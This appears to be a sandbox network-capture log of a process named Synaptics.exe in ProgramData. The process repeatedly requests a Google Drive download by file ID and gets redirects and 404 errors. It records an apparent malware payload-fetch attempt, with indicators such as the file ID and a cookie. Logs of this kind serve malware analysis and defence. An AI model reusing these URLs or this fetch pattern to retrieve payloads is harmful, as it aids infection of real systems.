2025-01-02 19:29:42 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7d0VWBv34ZQLRsPG3OKChSJYO-WXHJipvBRLR5SjTXcNJ5-6A6pK_3atu750fYmxjw-CTuuP4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:41 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UoRYCGhOzfMkS7MvUI9o1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:42 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:42 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 72 54 4e 4e 6d 74 78 45 54 44 56 71 6c 46 46 61 75 66 34 51 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="0rTNNmtxETDVqlFFauf4Qg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:42 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49842	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:41 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-XXA-Haw4E6X9GHRUwxOdFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49855	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:42 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lVzL-2wnwtN1F3aV0BQABw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49856	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:42 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-A0bJAJpPy6T67Za3wRtDwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49858	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:42 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:43 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5gstVG9ouQspWNOvWXlWMKIOc_4q-zauMGlryv7fSQO1QkjRcCjsIiBB08XSid9f5p Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:43 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-TOnM3njbDoZvr9dpqpqA4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:43 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:43 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 37 6e 42 37 30 35 69 69 59 45 50 37 6a 64 4a 53 72 6d 42 70 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="E7nB705iiYEP7jdJSrmBpQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:43 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49857	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:42 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:43 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6FmOF4nQB1QFLxUKowGzw4M578Y53Gpgwcr-5qXO50kj3yg2E8KDIu2MBUV4GIPlfRnw708PY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:43 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-B1C1s3xvcKgqplh3l5kGEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:43 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:43 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 75 69 6d 74 78 64 2d 5a 67 47 4c 69 7a 43 59 68 52 47 4e 47 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Ouimtxd-ZgGLizCYhRGNGw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:43 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49869	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:43 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:44 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6yuRk96Asy0M-_vUlLbrGGPx_bf5wMgLT1317HoWvzNYudNOpzdPLyowWj1bMZzobc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:44 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-fJQwG76P72Cf8HTF18hkRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:44 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:44 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 5f 63 55 36 54 66 5f 5a 66 31 6f 43 75 71 58 73 6d 63 71 30 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="1_cU6Tf_Zf1oCuqXsmcq0w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:44 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49865	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:43 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pwMXQ9svkLW6zs1UEglMGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49872	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:43 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
